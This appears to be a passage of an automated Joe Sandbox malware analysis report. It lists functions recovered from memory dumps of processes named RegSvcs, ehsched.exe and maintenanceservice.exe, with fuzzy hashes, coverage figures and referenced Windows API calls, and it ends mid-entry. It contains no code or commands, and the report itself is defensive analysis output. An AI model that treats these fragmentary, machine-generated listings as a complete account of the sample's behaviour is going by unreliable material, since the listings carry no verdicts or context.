Instruction Fuzzy Hash: C5C1C074E00218CFDB54EFA5D894B9DBBB2BF89300F2480AAD409AB355DB349E85CF50

Function 00893D10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567e04e5f0a9bfe62d27ec8408385d7c92aee4ad9933965ec7b537c5cb785037
Instruction ID: a41afef49b311330109eb2fdbc65be6ba7323cb65ca7162cba72226963dcc2a9
Opcode Fuzzy Hash: 567e04e5f0a9bfe62d27ec8408385d7c92aee4ad9933965ec7b537c5cb785037
Instruction Fuzzy Hash: 05C1B074E00218CFDB54DFA5D984BADBBB2BF89300F2484AAD409AB355DB359E85CF50

Function 00895720 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d0c3affe228713a811026b8e0f59b85d62f286adcbfb9053b07c95ad4cfbe27
Instruction ID: f66da54a98c6d00b1bb8a839d9ed7e49f53406811cbff31a2e6a68e035c24788
Opcode Fuzzy Hash: 1d0c3affe228713a811026b8e0f59b85d62f286adcbfb9053b07c95ad4cfbe27
Instruction Fuzzy Hash: 7AC1B074E00218CFDB54DFA5D994B9DBBB2BF89300F2480AAD409AB395DB355E85CF50

Function 00890D48 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f2ecaaa2b9534611208ae53251ab3f12e8619637362af14f8223ca7d18db71e
Instruction ID: 63c069a052f4a8c7d0a86495d8c200d33c2fe41c85391722c1a39eaac1c8844e
Opcode Fuzzy Hash: 5f2ecaaa2b9534611208ae53251ab3f12e8619637362af14f8223ca7d18db71e
Instruction Fuzzy Hash: 3FC1A074E00218CFDB54DFA5D984B9DBBB2BF89300F2484AAD409AB395DB355E85CF50

Function 00892758 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2b36f126185b5adc0b386a9a9d5bf6e2c703ac396a891a8310ea26fa210c318
Instruction ID: 2e569722c4bd903e9a068ddb94c68341fcc421a90aaf65f05f04553af2374263
Opcode Fuzzy Hash: b2b36f126185b5adc0b386a9a9d5bf6e2c703ac396a891a8310ea26fa210c318
Instruction Fuzzy Hash: 22C1AF74E00218CFDB54EFA5D984B9DBBB2BF89300F2484AAD409AB355DB359E85CF50

Function 00894168 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1444d0bc7803b8cab82345766f4a8db1c8081d6a6ee59dc300980e1ee4e3591
Instruction ID: 82cde053ebbe0f300ac08c162161ff8d418b1e337ede3c95b5ef060cfe9f8191
Opcode Fuzzy Hash: c1444d0bc7803b8cab82345766f4a8db1c8081d6a6ee59dc300980e1ee4e3591
Instruction Fuzzy Hash: 1EC1B174E00218CFDB54DFA5D984BADBBB2BF89300F2480AAD409AB355DB355E85CF50

Function 00895B78 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.625781883.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1899cdab037eb9737cac7447aae7ed8764f387809f30d11a9937c89e0b283da6
Instruction ID: c98bd62cdb19bf3a7f1362a2f9622e20347e976e8afbc165d16dfb1bb4b0637f
Opcode Fuzzy Hash: 1899cdab037eb9737cac7447aae7ed8764f387809f30d11a9937c89e0b283da6
Instruction Fuzzy Hash: E7C1CF74E00218CFDB54EFA5D994B9DBBB2BF89300F2480AAD409AB395DB355E85CF50

Analysis Process: ehsched.exePID: 3776, Parent PID: 404COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	97.8%
Signature Coverage:	0%
Total number of Nodes:	89
Total number of Limit Nodes:	3

Executed Functions

Function 009D0080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 009D03E0

Memory Dump Source

Source File: 0000000D.00000002.625963373.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_9b0000_ehsched.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction ID: bdf1db3f4d8187b56f4ee975815ba24840da781386d693399132b03fa394dc26
Opcode Fuzzy Hash: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction Fuzzy Hash: 5ED1053159CB098BC728EF58D8467EAB7D5FBE0310F588A1FD846C3264DA78DA45C6C2

Function 009B8070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.625963373.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_9b0000_ehsched.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction ID: 0454cde4730e4554261a60733839eef73ee1800ff794b89b4d4c2e19030be1cd
Opcode Fuzzy Hash: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction Fuzzy Hash: FF61223050DA459FC7659B2C8B183FB7AACFB9D3B0F580A5AD456C31A0DF288C46D752

Function 009B5B09 Relevance: 4.6, APIs: 3, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 009B5B1F

Memory Dump Source

Source File: 0000000D.00000002.625963373.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_9b0000_ehsched.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: bd1e5db9e708337f292b9da461262b388bf3f8528d0a1dffce07fd66d659059e
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: 1301D67050DF868FDB5956249F143F57BD5EB50334F2B0AAB84C7CA0D1DAA84904A702

Function 009B5B87 Relevance: 3.0, APIs: 2, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 009B5B1F
CreateThread.KERNELBASE ref: 009B5B90
CreateThread.KERNELBASE ref: 009B5CDF

Memory Dump Source

Source File: 0000000D.00000002.625963373.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_9b0000_ehsched.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: c504430a2dde2f80e78260c760ac0152d7c665c2047ec0bf704ab6f4fb669924
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: C8E0863061DF544FDB5D9B245D103593AE5EB88320F1606DEC44AD71D1CF6909094782

Function 009B5910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.625963373.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_9b0000_ehsched.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: 1f1676f8d87ef57341ed0be718e756213215eb26a39725d68539ce2a96a1d64b
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: BCF12621B5CE488FC669A71C59417B977D2EBD9320F99869FE04FC3396DD289C068382

Function 009B5B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.625963373.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_9b0000_ehsched.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: 5f094abcdbc87cc05f946ddeeeef3c5ee5346ba3631544a2c3bad3f44bd10491
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: C421B53020CF458FCBAA9B1887597F46FDAAB95330F5F0AAA8087CF1D6C6288C449755

Function 009B599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 009B59D9

Memory Dump Source

Source File: 0000000D.00000002.625963373.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_9b0000_ehsched.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: 26b139908a3e84382299f716df87d7f9590cf672451383c1383643b367663ee7
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: 8D01F97050DF80CFD757AB1847453F96556BBD5330FAB495B908AC71D2C9384D00D741

Function 009B5BE2 Relevance: 1.3, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 009B5C03

Memory Dump Source

Source File: 0000000D.00000002.625963373.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_9b0000_ehsched.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 5b5d7b071b63003723a190de38853bb16d482f491faa3db3b767200ea78fc1cb
Instruction ID: 0a3314438e3cb818cbf765ed0486fa10c82d5169ce0ff9c17732dda23ad20fde
Opcode Fuzzy Hash: 5b5d7b071b63003723a190de38853bb16d482f491faa3db3b767200ea78fc1cb
Instruction Fuzzy Hash: C7E0C271518F1ECFEB94B618CB1A3F52AC5976433032B0E218802C7154E45CCE066A06

Function 009B8090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 009B8186

Memory Dump Source

Source File: 0000000D.00000002.625963373.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_9b0000_ehsched.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: 509297ae08b5b8a0092a561059f96a0b987877ae4ddb273a503ab9d0ddc5e10e
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: ADC08C6012F806A65338124C0F0B0F3260C820E370B0C0806CC0280220DD08CE03D0A7

Function 009B817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 009B8186

Memory Dump Source

Source File: 0000000D.00000002.625963373.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_9b0000_ehsched.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: f857c9de4262fa533aefd99d8f9eb627ffef64617f01b6e6b0205942069b73d4
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: A8C092A059F509975238368C2E0A0F3355C461F770F0C4812EC068A3A0DD588D43D1B2

Analysis Process: maintenanceservice.exePID: 3972, Parent PID: 404COMMON

Execution Graph

Execution Coverage:	0.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.5%
Total number of Nodes:	1014
Total number of Limit Nodes:	5

Executed Functions

Function 00358550 Relevance: 23.1, APIs: 15, Instructions: 602COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(756F3475), ref: 00357FD4
FreeSid.ADVAPI32(?,00000000), ref: 00358579

Memory Dump Source

Source File: 0000000F.00000002.408196434.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Offset: 00330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_330000_maintenanceservice.jbxd

Similarity

API ID: ErrorFreeLast
String ID:
API String ID: 1762890227-0
Opcode ID: 6cc8f5d500281039af47bad0362e27ccbdef1c917664eaedfa67bee0e2a93bab
Instruction ID: b19f08e594f507be719f44db4b16cd2cf71154c5f93920810bf085549b733f77
Opcode Fuzzy Hash: 6cc8f5d500281039af47bad0362e27ccbdef1c917664eaedfa67bee0e2a93bab
Instruction Fuzzy Hash: 04022A24A0D340AEDB3747286C0AF752BB46F62723F5F0995EC95B60F2EE645D0D8263

Function 00357DF0 Relevance: 4.6, APIs: 3, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 00357E0F

Memory Dump Source

Source File: 0000000F.00000002.408196434.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Offset: 00330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_330000_maintenanceservice.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 78e7249c086e7c95e965cbad5b93fe0f823272e2a483ecfc884df74d9caf5ac0
Instruction ID: 11915d1350f13805b8056da10555e0ae354f87283ad5f9db4939cf936b608032
Opcode Fuzzy Hash: 78e7249c086e7c95e965cbad5b93fe0f823272e2a483ecfc884df74d9caf5ac0
Instruction Fuzzy Hash: 6421F87164D3446FDA376714BC0AFB93AF82FA2713F8A4885FD88691F1D5642D0C86A3

Function 00335D20 Relevance: 2.5, APIs: 2, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00335D6D

Memory Dump Source

Source File: 0000000F.00000002.408196434.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Offset: 00330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_330000_maintenanceservice.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 9b8496446c34afa94b940a3564cb95bb2c51be0b24192225bd10d10b688058b9
Instruction ID: afc5b332e1d379cc3a763ffd0c75812dcffe9e65d58f62ac7219d2d6f558e649
Opcode Fuzzy Hash: 9b8496446c34afa94b940a3564cb95bb2c51be0b24192225bd10d10b688058b9
Instruction Fuzzy Hash: 0DF02E61A05F00EADE3F2768EDCDB713A306B22739FCF4749E155194F286551C46C142

Non-executed Functions

Function 0035CBD0 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 418COMMON

Download Yara Rule

Strings

w, xrefs: 0035C289
d, xrefs: 0035C294

Memory Dump Source

Source File: 0000000F.00000002.408196434.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Offset: 00330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_330000_maintenanceservice.jbxd

Similarity

API ID:
String ID: d$w
API String ID: 0-2400632791
Opcode ID: 48e347d9828cfb94eba09faac94fc1ed5977c7d14624cc2dcd46fdfe8bcdca1a
Instruction ID: d164b9d5b70a43dbd142cb82a2c916e3100c81e1631e3b8dab121657c71b2e39
Opcode Fuzzy Hash: 48e347d9828cfb94eba09faac94fc1ed5977c7d14624cc2dcd46fdfe8bcdca1a
Instruction Fuzzy Hash: 15C16721938380AECE374A248C1AF79BB646B6172FF4F3546ED459A0F3E7249D0CD652

Function 003724FF Relevance: 19.6, APIs: 13, Instructions: 114
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___free_lconv_mon.LIBCMT ref: 00372543

Part of subcall function 00373073: _free.LIBCMT ref: 00373090
Part of subcall function 00373073: _free.LIBCMT ref: 003730A2
Part of subcall function 00373073: _free.LIBCMT ref: 003730B4
Part of subcall function 00373073: _free.LIBCMT ref: 003730C6
Part of subcall function 00373073: _free.LIBCMT ref: 003730D8
Part of subcall function 00373073: _free.LIBCMT ref: 003730EA
Part of subcall function 00373073: _free.LIBCMT ref: 003730FC
Part of subcall function 00373073: _free.LIBCMT ref: 0037310E
Part of subcall function 00373073: _free.LIBCMT ref: 00373120
Part of subcall function 00373073: _free.LIBCMT ref: 00373132
Part of subcall function 00373073: _free.LIBCMT ref: 00373144
Part of subcall function 00373073: _free.LIBCMT ref: 00373156
Part of subcall function 00373073: _free.LIBCMT ref: 00373168

_free.LIBCMT ref: 00372538

Part of subcall function 00372096: HeapFree.KERNEL32(00000000,00000000), ref: 003720AC
Part of subcall function 00372096: GetLastError.KERNEL32(?,?,00373208,?,00000000,?,00000000,?,0037322F,?,00000007,?,?,00372697,?,?), ref: 003720BE

_free.LIBCMT ref: 0037255A
_free.LIBCMT ref: 0037256F
_free.LIBCMT ref: 0037257A
_free.LIBCMT ref: 0037259C
_free.LIBCMT ref: 003725AF
_free.LIBCMT ref: 003725BD
_free.LIBCMT ref: 003725C8
_free.LIBCMT ref: 00372600
_free.LIBCMT ref: 00372607
_free.LIBCMT ref: 00372624
_free.LIBCMT ref: 0037263C

Memory Dump Source

Source File: 0000000F.00000002.408196434.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Offset: 00330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_330000_maintenanceservice.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 5a8bae32de2dd40a0d47d7deaadb488f4b6daf9ddf8ed0310e5a4e644510825a
Instruction ID: b6b9d5564c61003ad098c47927f49486bfe3c2b9b1b23c41a14bbcf350fa968a
Opcode Fuzzy Hash: 5a8bae32de2dd40a0d47d7deaadb488f4b6daf9ddf8ed0310e5a4e644510825a
Instruction Fuzzy Hash: 04313971A003059FEB32AA3AD845B57B3E9BF01321F11C42AE49EDB151DE79ED80DB20

Function 00377B9C Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleCP.KERNEL32 ref: 00377BDE
__fassign.LIBCMT ref: 00377C59
__fassign.LIBCMT ref: 00377C74
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 00377C9A
WriteFile.KERNEL32(?,?,00000000,00378311,00000000), ref: 00377CB9
WriteFile.KERNEL32(?,?,00000001,00378311,00000000), ref: 00377CF2

Memory Dump Source

Source File: 0000000F.00000002.408196434.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Offset: 00330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_330000_maintenanceservice.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 5344edf3b477c4744096bb7722fbc7944185a280d2836d7720b5f829f902452e
Instruction ID: 233fa6cec5a67dbc24b1ee337053d04b18dc7d63bfb6428865057fa459af081f
Opcode Fuzzy Hash: 5344edf3b477c4744096bb7722fbc7944185a280d2836d7720b5f829f902452e
Instruction Fuzzy Hash: 7451B7719042099FDB32CFA8DC85AEEBBF8EF0D300F14855AE559E7291D7349941CBA0

Function 00373216 Relevance: 10.6, APIs: 7, Instructions: 65
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003731DA: _free.LIBCMT ref: 00373203

_free.LIBCMT ref: 00373264

Part of subcall function 00372096: HeapFree.KERNEL32(00000000,00000000), ref: 003720AC
Part of subcall function 00372096: GetLastError.KERNEL32(?,?,00373208,?,00000000,?,00000000,?,0037322F,?,00000007,?,?,00372697,?,?), ref: 003720BE

_free.LIBCMT ref: 0037326F
_free.LIBCMT ref: 0037327A
_free.LIBCMT ref: 003732CE
_free.LIBCMT ref: 003732D9
_free.LIBCMT ref: 003732E4
_free.LIBCMT ref: 003732EF

Memory Dump Source

Source File: 0000000F.00000002.408196434.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Offset: 00330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_330000_maintenanceservice.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fcd263e1e97f9626aa0bdc167c26919d6134e182e28646451650430cd4015995
Instruction ID: b71d9e48aeab9d535dd7ba1625c2b97929e3283eccd0d96fd092a6716aef3922
Opcode Fuzzy Hash: fcd263e1e97f9626aa0bdc167c26919d6134e182e28646451650430cd4015995
Instruction Fuzzy Hash: 75112172A50B04AAD532FBB1CC07FDB779C6F05700F808819BA9E7E152DA7DB6049650

Function 003744E9 Relevance: 9.2, APIs: 6, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,?,00000000,?,?,?,0037473A,?,?,00000000), ref: 00374543
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,0037473A,?,?,00000000,?,?,?), ref: 003745C9
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 003746C3
__freea.LIBCMT ref: 003746D0

Part of subcall function 003732FA: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 0037332C

__freea.LIBCMT ref: 003746D9
__freea.LIBCMT ref: 003746FE

Memory Dump Source

Source File: 0000000F.00000002.408196434.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Offset: 00330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_330000_maintenanceservice.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 79cff68baf6f04bb3806501d1bcd4668a59e42634821569e957e196010666220
Instruction ID: d8d888d2a7b52d011d4666cfeea8403792775361da7d73a51dbfc8738f331624
Opcode Fuzzy Hash: 79cff68baf6f04bb3806501d1bcd4668a59e42634821569e957e196010666220
Instruction Fuzzy Hash: 2851C372600616AFEF378E64CC41EAF77A9EB45750F168629F808EA150EB78EC50DA50

Function 0037185B Relevance: 9.0, APIs: 6, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,0036FDB7), ref: 0037185F
_free.LIBCMT ref: 00371892
_free.LIBCMT ref: 003718BA
SetLastError.KERNEL32(00000000), ref: 003718C7
SetLastError.KERNEL32(00000000), ref: 003718D3
_abort.LIBCMT ref: 003718D9

Memory Dump Source

Source File: 0000000F.00000002.408196434.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Offset: 00330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_330000_maintenanceservice.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: ad5597ba7b34cb2b7e443436b9b15bff21d42c0911d75fa915d9c4f15b6f58c0
Instruction ID: cefb90ae8e992e44ff80103993ee55c75c74cada4ef11ea485e602f9a5c2d374
Opcode Fuzzy Hash: ad5597ba7b34cb2b7e443436b9b15bff21d42c0911d75fa915d9c4f15b6f58c0
Instruction Fuzzy Hash: F3F0A4371007007AD637277D6C0AF2B169E9BC1761F66C538F95DAA292EF6DCC428122

Function 00373FC2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00373F73,00000003,?,00373F13,00000003,0038DE80,0000000C,0037403D,00000003,00000002), ref: 00373FE2
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,?,?,00373F73,00000003,?,00373F13,00000003,0038DE80,0000000C,0037403D,00000003,00000002), ref: 00373FF5
FreeLibrary.KERNEL32(00000000,?,?,?,00373F73,00000003,?,00373F13,00000003,0038DE80,0000000C,0037403D,00000003,00000002,00000000), ref: 00374018

Strings

mscoree.dll, xrefs: 00373FDB
CorExitProcess, xrefs: 00373FED

Memory Dump Source

Source File: 0000000F.00000002.408196434.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Offset: 00330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_330000_maintenanceservice.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 43f566f6d82a235a14c1e5c80b1c3887cc491df42345e09d3ada5d14f78c080f
Instruction ID: 376fbae71fd2f1a66a1cff31c4436321c0482c0e140508cfc8c8b734c17b5495
Opcode Fuzzy Hash: 43f566f6d82a235a14c1e5c80b1c3887cc491df42345e09d3ada5d14f78c080f
Instruction Fuzzy Hash: 92F0C83190061CBBDB379F90DC09B9DBFB9EF44711F114094F809A2160CB789E80CB91

Function 003718DF Relevance: 7.6, APIs: 5, Instructions: 53
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00000008,?,?,003715D8,00373CBB,?,00371D2A,?,?,00000000), ref: 003718E4
_free.LIBCMT ref: 00371919
_free.LIBCMT ref: 00371940
SetLastError.KERNEL32(00000000,?,00371D2A,?,?,00000000), ref: 0037194D
SetLastError.KERNEL32(00000000,?,00371D2A,?,?,00000000), ref: 00371956

Memory Dump Source

Source File: 0000000F.00000002.408196434.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Offset: 00330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_330000_maintenanceservice.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 712e8b9e766d7f34cedd52f8d31f76361d1e06988dbac07d2b054195bd57f53b
Instruction ID: 98fe24e1406985cc4c3b590008e36780cc7522960103f7f4cfe7d33ced52233f
Opcode Fuzzy Hash: 712e8b9e766d7f34cedd52f8d31f76361d1e06988dbac07d2b054195bd57f53b
Instruction Fuzzy Hash: 4901F9372006016BD73366796C55D2B166D9BC7374B228029FA0DA6293FB6D884381A1

Function 00373171 Relevance: 7.5, APIs: 5, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 00373189

Part of subcall function 00372096: HeapFree.KERNEL32(00000000,00000000), ref: 003720AC
Part of subcall function 00372096: GetLastError.KERNEL32(?,?,00373208,?,00000000,?,00000000,?,0037322F,?,00000007,?,?,00372697,?,?), ref: 003720BE

_free.LIBCMT ref: 0037319B
_free.LIBCMT ref: 003731AD
_free.LIBCMT ref: 003731BF
_free.LIBCMT ref: 003731D1

Memory Dump Source

Source File: 0000000F.00000002.408196434.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Offset: 00330000, based on PE: false

Joe Sandbox IDA Plugin

